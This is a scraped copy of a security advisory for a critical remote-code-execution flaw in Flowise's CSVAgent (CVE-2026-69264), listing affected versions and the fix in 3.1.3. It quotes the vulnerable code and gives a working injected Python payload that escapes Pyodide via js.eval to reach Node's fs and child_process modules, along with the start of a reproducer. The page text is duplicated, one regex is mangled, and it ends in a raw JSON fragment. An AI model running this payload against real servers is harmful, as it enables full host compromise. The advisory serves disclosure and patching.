Skip to content
FlowiseGHSA-4j8x-x6v7-w9rq

Flowise: RCE via CSVAgent csvFile data URI base64 segment is interpolated into Python source without validation

CriticalCVE-2026-69264 · Published Aug 4, 2026

GitHub advisory

Affected versions

PackageAffectedFixed in
flowise
npm
< 3.1.33.1.3
Details and references

### Summary Flowise's `CSVAgent` interpolates an attacker-controlled segment of the `csvFile` data URI directly into a Python source-code template that is then executed by Pyodide. Because Pyodide is loaded with the default `js` bridge to `globalThis` (which on Node.js exposes `eval` and dynamic `import()`), the attacker can break out of the Python string literal, hand a JS string to `js.eval`, dynamically import any Node built-in module (`fs`, `child_process`, …), and execute arbitrary file I/O or OS commands as the Flowise process. The two validator paths around this code (`validatePythonCodeForDataFrame` and `validateCustomReadCSVFunction`) are never applied to the bootstrap template. A workspace user with `chatflows:create` (or any `agentflows`/`chatflows` update permission) plants a CSV Agent node with a crafted `csvFile`. Once the chatflow is exposed via the (whitelisted, public) `POST /api/v1/prediction/:id` endpoint, *any unauthenticated* request triggers the host RCE. ### Details **Vulnerable file:** `packages/components/nodes/agents/CSVAgent/CSVAgent.ts` The `run()` method extracts the file segment from the data URI by splitting on `,` and using two `pop()` calls (lines 127–138): ```ts } else { if (csvFileBase64.startsWith('[') && csvFileBase64.endsWith(']')) { files = JSON.parse(csvFileBase64) } else { files = [csvFileBase64] } for (const file of files) { if (!file) continue const splitDataURI = file.split(',') splitDataURI.pop() // discards trailing filename segment base64String += splitDataURI.pop() ?? '' // captures the segment we attack } } ``` The captured `base64String` is then **interpolated verbatim** into a Python source string at lines 156–171: ```ts const code = `import pandas as pd import base64 from io import StringIO import json base64_string = "${base64String}" // ← line 161: interpolation sink decoded_data = base64.b64decode(base64_string) csv_data = StringIO(decoded_data.decode('utf-8')) df = pd.${customReadCSVFunc} my_dict = df.dtypes.astype(str).to_dict() print(my_dict) json.dumps(my_dict)` dataframeColDict = await pyodide.runPythonAsync(code) // ← line 171: sink ``` **Validator gaps:** - `validateCustomReadCSVFunction(customReadCSVFunc)` runs on line 147, but this only validates the `customReadCSV` field, not `base64String`. - `validatePythonCodeForDataFrame(pythonCode)` runs on line 198, but only against the *LLM-emitted* Python that runs later , never against this bootstrap template. - No content check (`^[A-Za-z0-9+/=]* CVE-2026-69264: Flowise critical vulnerability | Advisories

) is applied to `base64String` before interpolation. **Pyodide configuration** (`packages/components/nodes/agents/CSVAgent/core.ts`, lines 7–16): ```ts export async function LoadPyodide(): Promise<PyodideInterface> { if (pyodideInstance === undefined) { const { loadPyodide } = await import('pyodide') const obj: any = { packageCacheDir: path.join(getUserHome(), '.flowise', 'pyodideCacheDir') } pyodideInstance = await loadPyodide(obj) await pyodideInstance.loadPackage(['pandas', 'numpy']) } return pyodideInstance } ``` Pyodide is loaded with default options. On Node.js, the default `js` module inside Pyodide bridges to `globalThis`, exposing the JS `eval` function and top-level dynamic `import()`. From injected Python, the attacker runs: ```python import js await js.eval( "(async () => {" " const fs = await import('fs');" " fs.writeFileSync('proof.txt', 'pwned');" "})()" ) ``` …which executes in the host Node.js process, **not** inside Pyodide's WASM sandbox. Substituting `await import('child_process')` for `await import('fs')` yields arbitrary OS-command execution via `cp.execSync(...)` with the same primitive. > **Node-version note.** The original PoC for this issue used > `js.process.mainModule.require("child_process")`, which is a one-liner but > only works on Node ≤ 13 because `proc

CVSS 4.0
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H
Severity from
GitHub (reviewed advisory)
Weakness
CWE-94, CWE-95
Also known as
CVE-2026-69264

More Flowise advisories

All Flowise
DateAdvisory
Aug 4Flowise: IDOR vulnerability exists at the GET /api/v1/organization/customer-default-source endpoint
CVE-2026-73488Mediumfixed in 3.1.3
Aug 4Flowise: Unauthenticated OAuth2 Refresh Enables Non-Blind SSRF and Secret Exfiltration
CVE-2026-69250Highfixed in 3.1.3
Aug 4Flowise RCE via TypeORM DataSource
CVE-2026-69251Criticalfixed in 3.1.3
Aug 4Flowise: Missing authorization on `/api/v1/files` allows low-privileged API keys to list and delete files across workspaces within the same organization
CVE-2026-69252Highfixed in 3.1.3
Aug 4Flowise Sandbox Escape to RCE
CVE-2026-69253Criticalfixed in 3.1.3
Aug 4Flowise: RCE via NodeVM Sandbox Escape in executeJavaScriptCode() nodeVMOptions Override
CVE-2026-69254Criticalfixed in 3.1.3

Critical advisories by email

Wednesdays: the week’s critical and high advisories in the AI and data stack, with the fixed versions. Only in weeks that have some.

Double opt-in. Unsubscribe any time.

CVE-2026-69264: Flowise critical vulnerability | Advisories
Skip to content
FlowiseGHSA-4j8x-x6v7-w9rq

Flowise: RCE via CSVAgent csvFile data URI base64 segment is interpolated into Python source without validation

CriticalCVE-2026-69264 · Published Aug 4, 2026

GitHub advisory

Affected versions

PackageAffectedFixed in
flowise
npm
< 3.1.33.1.3
Details and references

### Summary Flowise's `CSVAgent` interpolates an attacker-controlled segment of the `csvFile` data URI directly into a Python source-code template that is then executed by Pyodide. Because Pyodide is loaded with the default `js` bridge to `globalThis` (which on Node.js exposes `eval` and dynamic `import()`), the attacker can break out of the Python string literal, hand a JS string to `js.eval`, dynamically import any Node built-in module (`fs`, `child_process`, …), and execute arbitrary file I/O or OS commands as the Flowise process. The two validator paths around this code (`validatePythonCodeForDataFrame` and `validateCustomReadCSVFunction`) are never applied to the bootstrap template. A workspace user with `chatflows:create` (or any `agentflows`/`chatflows` update permission) plants a CSV Agent node with a crafted `csvFile`. Once the chatflow is exposed via the (whitelisted, public) `POST /api/v1/prediction/:id` endpoint, *any unauthenticated* request triggers the host RCE. ### Details **Vulnerable file:** `packages/components/nodes/agents/CSVAgent/CSVAgent.ts` The `run()` method extracts the file segment from the data URI by splitting on `,` and using two `pop()` calls (lines 127–138): ```ts } else { if (csvFileBase64.startsWith('[') && csvFileBase64.endsWith(']')) { files = JSON.parse(csvFileBase64) } else { files = [csvFileBase64] } for (const file of files) { if (!file) continue const splitDataURI = file.split(',') splitDataURI.pop() // discards trailing filename segment base64String += splitDataURI.pop() ?? '' // captures the segment we attack } } ``` The captured `base64String` is then **interpolated verbatim** into a Python source string at lines 156–171: ```ts const code = `import pandas as pd import base64 from io import StringIO import json base64_string = "${base64String}" // ← line 161: interpolation sink decoded_data = base64.b64decode(base64_string) csv_data = StringIO(decoded_data.decode('utf-8')) df = pd.${customReadCSVFunc} my_dict = df.dtypes.astype(str).to_dict() print(my_dict) json.dumps(my_dict)` dataframeColDict = await pyodide.runPythonAsync(code) // ← line 171: sink ``` **Validator gaps:** - `validateCustomReadCSVFunction(customReadCSVFunc)` runs on line 147, but this only validates the `customReadCSV` field, not `base64String`. - `validatePythonCodeForDataFrame(pythonCode)` runs on line 198, but only against the *LLM-emitted* Python that runs later , never against this bootstrap template. - No content check (`^[A-Za-z0-9+/=]* CVE-2026-69264: Flowise critical vulnerability | Advisories

) is applied to `base64String` before interpolation. **Pyodide configuration** (`packages/components/nodes/agents/CSVAgent/core.ts`, lines 7–16): ```ts export async function LoadPyodide(): Promise<PyodideInterface> { if (pyodideInstance === undefined) { const { loadPyodide } = await import('pyodide') const obj: any = { packageCacheDir: path.join(getUserHome(), '.flowise', 'pyodideCacheDir') } pyodideInstance = await loadPyodide(obj) await pyodideInstance.loadPackage(['pandas', 'numpy']) } return pyodideInstance } ``` Pyodide is loaded with default options. On Node.js, the default `js` module inside Pyodide bridges to `globalThis`, exposing the JS `eval` function and top-level dynamic `import()`. From injected Python, the attacker runs: ```python import js await js.eval( "(async () => {" " const fs = await import('fs');" " fs.writeFileSync('proof.txt', 'pwned');" "})()" ) ``` …which executes in the host Node.js process, **not** inside Pyodide's WASM sandbox. Substituting `await import('child_process')` for `await import('fs')` yields arbitrary OS-command execution via `cp.execSync(...)` with the same primitive. > **Node-version note.** The original PoC for this issue used > `js.process.mainModule.require("child_process")`, which is a one-liner but > only works on Node ≤ 13 because `proc

CVSS 4.0
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H
Severity from
GitHub (reviewed advisory)
Weakness
CWE-94, CWE-95
Also known as
CVE-2026-69264

More Flowise advisories

All Flowise
DateAdvisory
Aug 4Flowise: IDOR vulnerability exists at the GET /api/v1/organization/customer-default-source endpoint
CVE-2026-73488Mediumfixed in 3.1.3
Aug 4Flowise: Unauthenticated OAuth2 Refresh Enables Non-Blind SSRF and Secret Exfiltration
CVE-2026-69250Highfixed in 3.1.3
Aug 4Flowise RCE via TypeORM DataSource
CVE-2026-69251Criticalfixed in 3.1.3
Aug 4Flowise: Missing authorization on `/api/v1/files` allows low-privileged API keys to list and delete files across workspaces within the same organization
CVE-2026-69252Highfixed in 3.1.3
Aug 4Flowise Sandbox Escape to RCE
CVE-2026-69253Criticalfixed in 3.1.3
Aug 4Flowise: RCE via NodeVM Sandbox Escape in executeJavaScriptCode() nodeVMOptions Override
CVE-2026-69254Criticalfixed in 3.1.3

Critical advisories by email

Wednesdays: the week’s critical and high advisories in the AI and data stack, with the fixed versions. Only in weeks that have some.

Double opt-in. Unsubscribe any time.

) is applied to `base64String` before\n interpolation.\n\n**Pyodide configuration** (`packages/components/nodes/agents/CSVAgent/core.ts`,\nlines 7–16):\n\n```ts\nexport async function LoadPyodide(): Promise\u003cPyodideInterface> {\n if (pyodideInstance === undefined) {\n const { loadPyodide } = await import('pyodide')\n const obj: any = { packageCacheDir: path.join(getUserHome(), '.flowise', 'pyodideCacheDir') }\n pyodideInstance = await loadPyodide(obj)\n await pyodideInstance.loadPackage(['pandas', 'numpy'])\n }\n return pyodideInstance\n}\n```\n\nPyodide is loaded with default options. On Node.js, the default `js` module\ninside Pyodide bridges to `globalThis`, exposing the JS `eval` function and\ntop-level dynamic `import()`. From injected Python, the attacker runs:\n\n```python\nimport js\nawait js.eval(\n \"(async () => {\"\n \" const fs = await import('fs');\"\n \" fs.writeFileSync('proof.txt', 'pwned');\"\n \"})()\"\n)\n```\n\n…which executes in the host Node.js process, **not** inside Pyodide's WASM\nsandbox. Substituting `await import('child_process')` for `await import('fs')`\nyields arbitrary OS-command execution via `cp.execSync(...)` with the same\nprimitive.\n\n> **Node-version note.** The original PoC for this issue used\n> `js.process.mainModule.require(\"child_process\")`, which is a one-liner but\n> only works on Node ≤ 13 because `process.mainModule` was deprecated and now\n> returns `undefined` on Node 14+. The `js.eval` + dynamic-`import()` form\n> above works on any Node 13.2+ in both CommonJS and ESM contexts, and was\n> confirmed end-to-end against a stock `flowise@3.1.2` running on Node\n> 20.20.2 , see [Verified end-to-end against live Flowise](#verified-end-to-end-against-live-flowise)\n> below.\n\n**Trigger path (post-plant):** the route `POST /api/v1/prediction/:id` is in\n`WHITELIST_URLS` (`packages/server/src/utils/constants.ts:12`); when the\nchatflow has no `apikeyid` set, it is reachable unauthenticated. A prediction\nrequest runs the chatflow, instantiates `CSVAgent`, and executes the malicious\nbootstrap.\n\n### PoC\n\nVerified end-to-end on the cloned repo (commit\n`a3ffe6611b0986d646b9cd8bb8787d4fdcf9be6d`, the same commit the prior audit\nwas based on).\n\n#### Reproducer setup\n\nTwo files. Save the first as `package.json`, the second as\n`repro_a1_pyodide.js`, then `npm install && node repro_a1_pyodide.js` in the\nsame directory.\n\n**`package.json`:**\n\n```json\n{\n \"name\": \"poc-flowise-s1\",\n \"version\": \"1.0.0\",\n \"type\": \"commonjs\",\n \"dependencies\": {\n \"pyodide\": \"^0.29.3\"\n }\n}\n```\n\n**`repro_a1_pyodide.js`** , mirrors `CSVAgent.ts:127-138` (the data-URI\nparser) and `:156-171` (the Python template), then runs the assembled Python\nthrough real Pyodide. The injection segment is checked for commas before\nassembly to confirm it cannot be fragmented by the JS-side `split(',')`.\n\n```js\n// Full host-RCE PoC for Flowise CSVAgent base64-injection.\n//\n// Loads real pyodide (matching how core.ts:LoadPyodide() boots it) and runs\n// the Python that CSVAgent.ts:156-170 would assemble for an attacker-controlled\n// csvFile data URI. Demonstrates:\n// 1. JS-side template-literal interpolation produces malicious Python\n// 2. validatePythonCodeForDataFrame is bypassed (it never inspects this code path)\n// 3. Pyodide-on-Node `js` bridge reaches Node's fs module via dynamic\n// import('fs') -> host file ","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H","cvssVersion":"4.0","severitySource":"github","cwes":["CWE-94","CWE-95"],"refs":["https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-4j8x-x6v7-w9rq","https://github.com/FlowiseAI/Flowise/pull/6499","https://github.com/FlowiseAI/Flowise/commit/f4e2794f6a576b94578f2fdafbf49c2fb304626c","https://github.com/FlowiseAI/Flowise","https://github.com/FlowiseAI/Flowise/releases/tag/flowise@3.1.3"],"affected":[{"product":"flowise","ecosystem":"npm","package":"flowise","introduced":"","fixed":"3.1.3","lastAffected":""}],"changes":[]},"related":[{"id":"GHSA-2364-jh4q-m9vm","cve":"CVE-2026-73488","aliases":["CVE-2026-73488"],"summary":"Flowise: IDOR vulnerability exists at the GET /api/v1/organization/customer-default-source endpoint","severity":"medium","score":null,"product":"flowise","products":["flowise"],"fixed":"3.1.3","published":"2026-08-04","modified":"2026-08-14","withdrawn":"","url":"https://github.com/advisories/GHSA-2364-jh4q-m9vm","foundAt":"2026-09-24 23:00:21"},{"id":"GHSA-r745-8hwv-h473","cve":"CVE-2026-69250","aliases":["CVE-2026-69250"],"summary":"Flowise: Unauthenticated OAuth2 Refresh Enables Non-Blind SSRF and Secret Exfiltration","severity":"high","score":null,"product":"flowise","products":["flowise"],"fixed":"3.1.3","published":"2026-08-04","modified":"2026-08-04","withdrawn":"","url":"https://github.com/advisories/GHSA-r745-8hwv-h473","foundAt":"2026-09-24 23:00:21"},{"id":"GHSA-g32j-mmxr-gfq5","cve":"CVE-2026-69251","aliases":["CVE-2026-69251"],"summary":"Flowise RCE via TypeORM DataSource","severity":"critical","score":null,"product":"flowise","products":["flowise"],"fixed":"3.1.3","published":"2026-08-04","modified":"2026-08-04","withdrawn":"","url":"https://github.com/advisories/GHSA-g32j-mmxr-gfq5","foundAt":"2026-09-24 23:00:21"},{"id":"GHSA-wp74-f5hh-5f3r","cve":"CVE-2026-69252","aliases":["CVE-2026-69252"],"summary":"Flowise: Missing authorization on `/api/v1/files` allows low-privileged API keys to list and delete files across workspaces within the same organization","severity":"high","score":null,"product":"flowise","products":["flowise"],"fixed":"3.1.3","published":"2026-08-04","modified":"2026-08-04","withdrawn":"","url":"https://github.com/advisories/GHSA-wp74-f5hh-5f3r","foundAt":"2026-09-24 23:00:21"},{"id":"GHSA-wg86-r78f-74mp","cve":"CVE-2026-69253","aliases":["CVE-2026-69253"],"summary":"Flowise Sandbox Escape to RCE","severity":"critical","score":null,"product":"flowise","products":["flowise"],"fixed":"3.1.3","published":"2026-08-04","modified":"2026-08-04","withdrawn":"","url":"https://github.com/advisories/GHSA-wg86-r78f-74mp","foundAt":"2026-09-24 23:00:21"},{"id":"GHSA-3769-jgqc-cxm7","cve":"CVE-2026-69254","aliases":["CVE-2026-69254"],"summary":"Flowise: RCE via NodeVM Sandbox Escape in executeJavaScriptCode() nodeVMOptions Override","severity":"critical","score":null,"product":"flowise","products":["flowise"],"fixed":"3.1.3","published":"2026-08-04","modified":"2026-08-04","withdrawn":"","url":"https://github.com/advisories/GHSA-3769-jgqc-cxm7","foundAt":"2026-09-24 23:00:21"}]}}